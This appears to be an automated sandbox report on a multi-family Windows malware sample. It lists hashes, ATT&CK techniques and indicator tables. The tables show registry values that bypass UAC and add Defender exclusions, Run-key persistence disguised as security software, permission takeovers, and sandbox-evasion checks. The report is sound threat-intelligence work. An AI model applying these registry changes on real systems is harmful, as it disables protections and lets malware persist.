7570f44e626ed0fe017f22bf936a176566af4b8cb08ed74f479387c79ea3ce53

Analysis

max time kernel
135s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/10/2026, 14:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
Size 34.6MB
Sample261024-rrdsgavvdx
SHA256 7570f44e626ed0fe017f22bf936a176566af4b8cb08ed74f479387c79ea3ce53
MD5 4827ced2435b0a468ca8383380e77f93
SHA1 4b7c6be3c4d38ecda13943136f9dc02087c83ef9
SHA512 817e592cd2c36706bf341e07f0f857b8bac76c33f552e4f53dfca58dd441d8ec251dde8e2e6cefe0785a3555431b38c73295b21a0709ba3b4022da0fbd2a8930
SSDEEP 98304:w6ukQmHTpksa7ffG6slKxMzfM3nJ76KVfMYrvjgA1:rukQmH0HmKxofM3nl6UfMYrLgA1
TLSH
T18D876F22B6428CD2F00285F45897BBA427FEFCB18AD1C71336E95B1E6FAE18C8D57055
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	azRcjb.exe

Windows security bypass 2 TTPs 18 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\azRcjb = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\9hQPuk = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Detects executables calling ClearMyTracksByProcess 1 IoCs

resource	yara_rule
behavioral2/memory/4888-703-0x0000000010000000-0x0000000010061000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_ClearMyTracksByProcess

Detects executables containing artifacts associated with disabling Widnows Defender 9 IoCs

resource	yara_rule
behavioral2/memory/4888-686-0x0000000002FF0000-0x00000000037CD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/4888-690-0x0000000002FF0000-0x00000000037CD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/4888-712-0x0000000002FF0000-0x00000000037CD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/4888-698-0x0000000002FF0000-0x00000000037CD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/4888-729-0x0000000002FF0000-0x00000000037CD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/3476-753-0x0000000003390000-0x0000000003B6D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/4888-759-0x0000000002FF0000-0x00000000037CD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/3600-800-0x0000000003AD0000-0x00000000042AD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/5856-805-0x0000000003650000-0x0000000003E2D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5548	powershell.exe
4112	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	azRcjb.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
4972	icacls.exe
1256	icacls.exe
6124	icacls.exe
1088	icacls.exe
5028	icacls.exe
4296	icacls.exe
4232	icacls.exe
1672	icacls.exe
5620	icacls.exe
5956	takeown.exe
5864	icacls.exe
3740	icacls.exe
4236	icacls.exe
5068	icacls.exe
6092	icacls.exe
2836	takeown.exe
3044	icacls.exe
4516	icacls.exe
3900	icacls.exe
3864	icacls.exe
4584	icacls.exe
1296	icacls.exe
2392	icacls.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	azRcjb.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 5 IoCs

pid	Process
1368	FgfWV8.exe
5068	FgfWV8.exe
4888	azRcjb.exe
5608	azRcjb.exe
3476	T02EQ0s.exe

Loads dropped DLL 4 IoCs

pid	Process
1368	FgfWV8.exe
5068	FgfWV8.exe
4888	azRcjb.exe
3476	T02EQ0s.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4972	icacls.exe
1256	icacls.exe
1088	icacls.exe
5864	icacls.exe
5956	takeown.exe
3044	icacls.exe
2392	icacls.exe
5028	icacls.exe
4516	icacls.exe
4232	icacls.exe
5620	icacls.exe
6092	icacls.exe
4584	icacls.exe
3740	icacls.exe
4236	icacls.exe
2836	takeown.exe
3900	icacls.exe
5068	icacls.exe
4296	icacls.exe
1672	icacls.exe
6124	icacls.exe
3864	icacls.exe
1296	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\9hQPuk\\FgfWV8.exe\""	FgfWV8.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\azRcjb\\azRcjb.exe\""	azRcjb.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
6084	cmd.exe
3340	cmd.exe
1764	cmd.exe
1884	cmd.exe
3204	cmd.exe
2512	cmd.exe
968	cmd.exe
3396	cmd.exe
3724	cmd.exe
4764	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	FgfWV8.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\8vl1s9\image.png	azRcjb.exe
File created	C:\Program Files (x86)\azRcjb\image.png	FgfWV8.exe
File opened for modification	C:\Program Files (x86)\8vl1s9	azRcjb.exe
File opened for modification	C:\Program Files (x86)\azRcjb\XPSPLOG.dll	FgfWV8.exe
File created	C:\Program Files (x86)\8vl1s9\image.png	azRcjb.exe
File created	C:\Program Files (x86)\8vl1s9\thumbs.db	azRcjb.exe
File created	C:\Program Files (x86)\8vl1s9\XPSPLOG.dll	azRcjb.exe
File opened for modification	C:\Program Files (x86)\8vl1s9\XPSPLOG.dll	azRcjb.exe
File opened for modification	C:\Program Files (x86)\azRcjb	FgfWV8.exe
File created	C:\Program Files (x86)\azRcjb\XPSPLOG.dll	FgfWV8.exe
File created	C:\Program Files (x86)\azRcjb\thumbs.db	FgfWV8.exe
File opened for modification	C:\Program Files (x86)\azRcjb\image.png	FgfWV8.exe
File created	C:\Program Files (x86)\8vl1s9\T02EQ0s.exe	azRcjb.exe
File opened for modification	C:\Program Files (x86)\8vl1s9\T02EQ0s.exe	azRcjb.exe
File opened for modification	C:\Program Files (x86)\8vl1s9\thumbs.db	azRcjb.exe
File created	C:\Program Files (x86)\azRcjb\azRcjb.exe	FgfWV8.exe
File opened for modification	C:\Program Files (x86)\azRcjb\azRcjb.exe	FgfWV8.exe
File opened for modification	C:\Program Files (x86)\azRcjb\thumbs.db	FgfWV8.exe

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	azRcjb.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
764	sc.exe
900	sc.exe
5372	sc.exe
4324	sc.exe
4160	sc.exe
4240	sc.exe
2520	sc.exe
4808	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000\Control Panel\Desktop\ScreenSaveActive = "0"	azRcjb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	azRcjb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000\Control Panel\Desktop\SCRNSAVE.EXE	azRcjb.exe

Executes a command shell one-liner 1 TTPs 28 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3464	cmd.exe
5368	cmd.exe
4196	cmd.exe
2148	cmd.exe
5432	cmd.exe
5084	cmd.exe
3444	cmd.exe
2960	cmd.exe
1156	cmd.exe
3684	cmd.exe
5276	cmd.exe
3040	cmd.exe
2648	cmd.exe
1500	cmd.exe
1944	cmd.exe
3744	cmd.exe
6044	cmd.exe
2632	cmd.exe
2824	cmd.exe
2704	cmd.exe
2572	cmd.exe
5196	cmd.exe
4500	cmd.exe
4336	cmd.exe
5544	cmd.exe
2676	cmd.exe
2236	cmd.exe
5236	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	FgfWV8.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	FgfWV8.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	azRcjb.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	azRcjb.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	azRcjb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	T02EQ0s.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	azRcjb.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	azRcjb.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000\Control Panel\Desktop\ScreenSaveActive = "0"	azRcjb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	azRcjb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	azRcjb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000\Control Panel\Desktop\SCRNSAVE.EXE	azRcjb.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4840	schtasks.exe
2760	schtasks.exe
1692	schtasks.exe
5856	schtasks.exe
1248	schtasks.exe
5448	schtasks.exe
2036	schtasks.exe
1972	schtasks.exe
1924	schtasks.exe
4596	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5024	2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe
1368	FgfWV8.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found

Suspicious use of AdjustPrivilegeToken 27 IoCs

description	pid	Process
Token: SeDebugPrivilege	4112	powershell.exe
Token: SeIncreaseQuotaPrivilege	4112	powershell.exe
Token: SeSecurityPrivilege	4112	powershell.exe
Token: SeTakeOwnershipPrivilege	4112	powershell.exe
Token: SeLoadDriverPrivilege	4112	powershell.exe
Token: SeSystemProfilePrivilege	4112	powershell.exe
Token: SeSystemtimePrivilege	4112	powershell.exe
Token: SeProfSingleProcessPrivilege	4112	powershell.exe
Token: SeIncBasePriorityPrivilege	4112	powershell.exe
Token: SeCreatePagefilePrivilege	4112	powershell.exe
Token: SeBackupPrivilege	4112	powershell.exe
Token: SeRestorePrivilege	4112	powershell.exe
Token: SeShutdownPrivilege	4112	powershell.exe
Token: SeDebugPrivilege	4112	powershell.exe
Token: SeSystemEnvironmentPrivilege	4112	powershell.exe
Token: SeRemoteShutdownPrivilege	4112	powershell.exe
Token: SeUndockPrivilege	4112	powershell.exe
Token: SeManageVolumePrivilege	4112	powershell.exe
Token: 33	4112	powershell.exe
Token: 34	4112	powershell.exe
Token: 35	4112	powershell.exe
Token: 36	4112	powershell.exe
Token: SeTakeOwnershipPrivilege	5956	takeown.exe
Token: SeRestorePrivilege	1088	icacls.exe
Token: SeTakeOwnershipPrivilege	2836	takeown.exe
Token: SeRestorePrivilege	3740	icacls.exe
Token: SeDebugPrivilege	5548	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1368 wrote to memory of 4112	1368	FgfWV8.exe	97
PID 1368 wrote to memory of 2512	1368	FgfWV8.exe	99
PID 2512 wrote to memory of 5856	2512	cmd.exe	101
PID 2512 wrote to memory of 4960	2512	cmd.exe	102
PID 2512 wrote to memory of 6084	2512	cmd.exe	105
PID 1368 wrote to memory of 3396	1368	FgfWV8.exe	106
PID 3396 wrote to memory of 1248	3396	cmd.exe	109
PID 1368 wrote to memory of 3724	1368	FgfWV8.exe	110
PID 3396 wrote to memory of 3204	3396	cmd.exe	112
PID 3724 wrote to memory of 5448	3724	cmd.exe	113
PID 3396 wrote to memory of 4616	3396	cmd.exe	115
PID 3724 wrote to memory of 5732	3724	cmd.exe	116
PID 3724 wrote to memory of 5464	3724	cmd.exe	117
PID 1368 wrote to memory of 4764	1368	FgfWV8.exe	118
PID 4764 wrote to memory of 2036	4764	cmd.exe	120
PID 4764 wrote to memory of 3120	4764	cmd.exe	123
PID 4764 wrote to memory of 4900	4764	cmd.exe	125
PID 1368 wrote to memory of 968	1368	FgfWV8.exe	127
PID 968 wrote to memory of 4840	968	cmd.exe	129
PID 968 wrote to memory of 5232	968	cmd.exe	130
PID 6044 wrote to memory of 3308	6044	cmd.exe	132
PID 3744 wrote to memory of 2912	3744	cmd.exe	134
PID 968 wrote to memory of 2744	968	cmd.exe	135
PID 5432 wrote to memory of 364	5432	cmd.exe	136
PID 5276 wrote to memory of 2856	5276	cmd.exe	138
